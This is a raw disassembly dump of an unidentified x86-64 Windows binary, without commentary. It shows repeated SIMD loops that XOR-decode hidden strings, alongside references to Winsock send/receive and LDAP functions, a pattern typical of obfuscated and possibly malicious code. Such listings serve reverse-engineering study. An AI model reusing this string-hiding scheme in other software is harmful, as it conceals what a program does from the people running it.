paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x48], xmm2
mov eax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x14003c720
lea rdx, [0x1400fd9a0]
lea rcx, [rsp + 0x40]
call fcn.140027220
cmp byte [0x1400ea0ed], bl
movsd xmm0, qword [0x1400ea0e0]
movzx eax, word [0x1400ea0ec]
mov ecx, dword [0x1400ea0e8]
movsd qword [rsp + 0x40], xmm0
mov word [rsp + 0x4c], ax
mov dword [rsp + 0x48], ecx
je 0x14003c934
mov r8d, ebx
cmp edi, 2
jl 0x14003c8e7
movd eax, xmm13
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
mov r8d, ntohs
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1400ea0e0]
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x44]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
movd dword [rsp + 0x44], xmm2
movdqa xmm1, xmm9
pmuldq xmm0, xmm7
movdqa xmm2, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x48], xmm2
mov eax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x14003c900
lea rdx, [0x1400fd8fe]
lea rcx, [rsp + 0x40]
call fcn.140027220
movups xmm2, xmmword [0x1400e9910]
movdqa xmm0, xmm2
psrldq xmm0, 0xf
movd eax, xmm0
movups xmmword [rsp + 0x60], xmm2
test al, al
je 0x14003cb5a
mov r8d, ebx
cmp edi, 2
jl 0x14003cb21
movd eax, xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rsp + 0x64], xmm2
movdqa xmm2, xmm9
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x68]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm7
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm7
movd dword [rsp + 0x68], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
movdqa xmm2, xmm12
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x6c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x14003cb5a
lea r9, [rsp + 0x60]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14003cb30
lea rdx, [0x1400fd8ff]
lea rcx, [rsp + 0x60]
call fcn.140027220
movzx eax, byte [0x1400e9b44]
mov r8d, ebx
mov edx, dword [0x1400e9b40]
mov dword [rbp - 0x60], edx
mov byte [rbp - 0x5c], al
movups xmm2, xmmword [0x1400e9b30]
movups xmmword [rbp - 0x70], xmm2
cmp edi, 2
jl 0x14003cda7
movd eax, xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rbp - 0x70], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x6c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rbp - 0x6c], xmm2
movdqa xmm2, xmm9
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x68]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm7
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm7
movd dword [rbp - 0x68], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
movdqa xmm3, xmmword [0x1400ea550]
movdqa xmm2, xmm12
psrld xmm0, 0x1f
mov r8d, reloc.WS2_32.dll_sendto
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xorps xmm2, xmm1
movdqa xmm1, xmm3
pmuldq xmm0, xmm7
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movd dword [rbp - 0x64], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm11
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
xorps xmm3, xmm1
movd dword [rbp - 0x60], xmm3
mov eax, r8d
lea r9, [rbp - 0x70]
add r9, rax
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x14003cdb1
lea rdx, [0x1400fd99f]
lea rcx, [rbp - 0x70]
call fcn.140027220
movzx eax, byte [0x1400e98f4]
mov r8d, ebx
mov edx, dword [0x1400e98f0]
mov dword [rbp - 0x60], edx
mov byte [rbp - 0x5c], al
movups xmm2, xmmword [0x1400e98e0]
movups xmmword [rbp - 0x70], xmm2
cmp edi, 2
jl 0x14003d031
movd eax, xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rbp - 0x70], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x6c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rbp - 0x6c], xmm2
movdqa xmm2, xmm9
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x68]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm7
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm7
movd dword [rbp - 0x68], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
movdqa xmm3, xmmword [0x1400ea550]
movdqa xmm2, xmm12
psrld xmm0, 0x1f
mov r8d, reloc.WS2_32.dll_sendto
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xorps xmm2, xmm1
movdqa xmm1, xmm3
pmuldq xmm0, xmm7
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movd dword [rbp - 0x64], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm11
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
xorps xmm3, xmm1
movd dword [rbp - 0x60], xmm3
mov eax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x14003d040
lea rdx, [0x1400fd91d]
lea rcx, [rbp - 0x70]
call fcn.140027220
movzx eax, word [0x1400ea028]
mov r8d, ebx
mov word [rbp - 0x60], ax
movzx eax, byte [0x1400ea02a]
mov byte [rbp - 0x5e], al
movups xmm2, xmmword [0x1400ea018]
movups xmmword [rbp - 0x70], xmm2
cmp edi, 2
jl 0x14003d25c
movd eax, xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rbp - 0x70], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x6c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rbp - 0x6c], xmm2
movdqa xmm2, xmm9
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x68]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm7
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm7
movd dword [rbp - 0x68], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
movdqa xmm2, xmm12
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
movd xmm1, dword [rbp - 0x64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x64], xmm2
mov eax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x14003d270
lea rdx, [0x1400fd91c]
lea rcx, [rbp - 0x70]
call fcn.140027220
cmp byte [0x1400fd91c], bl
je 0x14003d555
movzx eax, word [0x1400e990c]
mov r8d, ebx
mov edx, dword [0x1400e9908]
mov word [rbp - 0x5c], ax
movzx eax, byte [0x1400e990e]
mov byte [rbp - 0x5a], al
mov dword [rbp - 0x60], edx
movups xmm2, xmmword [0x1400e98f8]
movups xmmword [rbp - 0x70], xmm2
cmp edi, 2
jl 0x14003d507
movd eax, xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rbp - 0x70], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x6c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rbp - 0x6c], xmm2
movdqa xmm2, xmm9
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x68]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm7
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm7
movd dword [rbp - 0x68], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
movdqa xmm3, xmmword [0x1400ea550]
movdqa xmm2, xmm12
psrld xmm0, 0x1f
mov r8d, reloc.WS2_32.dll_sendto
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
xorps xmm2, xmm1
movdqa xmm1, xmm3
pmuldq xmm0, xmm7
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movd dword [rbp - 0x64], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, edx
pmulld xmm0, xmm11
psubd xmm3, xmm0
movd xmm0, ecx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
xorps xmm3, xmm1
movd dword [rbp - 0x60], xmm3
mov eax, r8d
lea r9, [rbp - 0x70]
add r9, rax
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x14003d511
lea rdx, [0x1400fd91e]
lea rcx, [rbp - 0x70]
call fcn.140027220
cmp byte [0x1400e9d21], bl
movups xmm2, xmmword [0x1400e9d10]
movzx eax, word [0x1400e9d20]
mov word [rbp - 0x60], ax
movups xmmword [rbp - 0x70], xmm2
je 0x14003d774
mov r8d, ebx
cmp edi, 2
jl 0x14003d72f
movd eax, xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rbp - 0x70], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x6c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rbp - 0x6c], xmm2
movdqa xmm2, xmm9
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x68]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm7
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm7
movd dword [rbp - 0x68], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
movdqa xmm2, xmm12
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
movd xmm1, dword [rbp - 0x64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x64], xmm2
mov eax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14003d740
lea rdx, [0x1400fd8fb]
lea rcx, [rbp - 0x70]
call fcn.140027220
cmp dword [0x1400fde1c], 2
jne 0x14003e967
movzx eax, byte [0x1400e9d08]
lea rcx, [rbp - 0x40]
mov rsi, qword [0x1400fd900]
xor al, 0x38
movsd xmm0, qword [0x1400e9d00]
xor edx, edx
movsd qword [rbp - 0x40], xmm0
xor byte [rbp - 0x3f], 0x31
xor byte [rbp - 0x3e], 0x32
xor byte [rbp - 0x3d], 0x33
xor byte [rbp - 0x3c], 0x34
xor byte [rbp - 0x3b], 0x35
xor byte [rbp - 0x3a], 0x36
xor byte [rbp - 0x39], 0x37
mov byte [rbp - 0x38], al
mov rax, qword [rsi + 0x19f8]
mov byte [rbp - 0x40], reloc.WLDAP32.dll_Ordinal_35
mov dword [rsp + 0x40], 0x43be0000
mov dword [rsp + 0x44], 0x43d98000
mov byte [rax + 0x7c], 1
mov rax, qword [rsi + 0x19f8]
movsxd r8, dword [rax + 0x1e0]
mov rax, qword [rax + 0x1e8]
mov r8d, dword [rax + r8*4 - 4]
call fcn.140003010
cmp dword [rsi + 0x1a24], eax
jne 0x14003d81f
mov dword [rsi + 0x1a2c], eax
cmp dword [rsi + 0x1a28], eax
jne 0x14003d82e
mov byte [rsi + 0x1a37], 1
lea r8, [rsp + 0x40]
mov dword [rsp + 0x20], ebx
mov edx, eax
lea rcx, [rbp - 0x40]
call fcn.1400088e0
mov eax, dword [0x1400e98c8]
mov r8d, ebx
movups xmm2, xmmword [str.cZW_QAYY]
mov dword [rsp + 0x40], eax
movzx eax, byte [0x1400e98cc]
xor byte [rsp + 0x41], 0x31
xor al, 0x34
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
mov byte [rsp + 0x44], al
movzx eax, word [0x1400e9fc8]
mov word [rsp + 0x70], ax
movzx eax, byte [0x1400e9fca]
mov byte [rsp + 0x72], al
mov byte [rsp + 0x40], Ordinal_41
movups xmmword [rsp + 0x60], xmm2
cmp edi, 2
jl 0x14003da4f
movd eax, xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
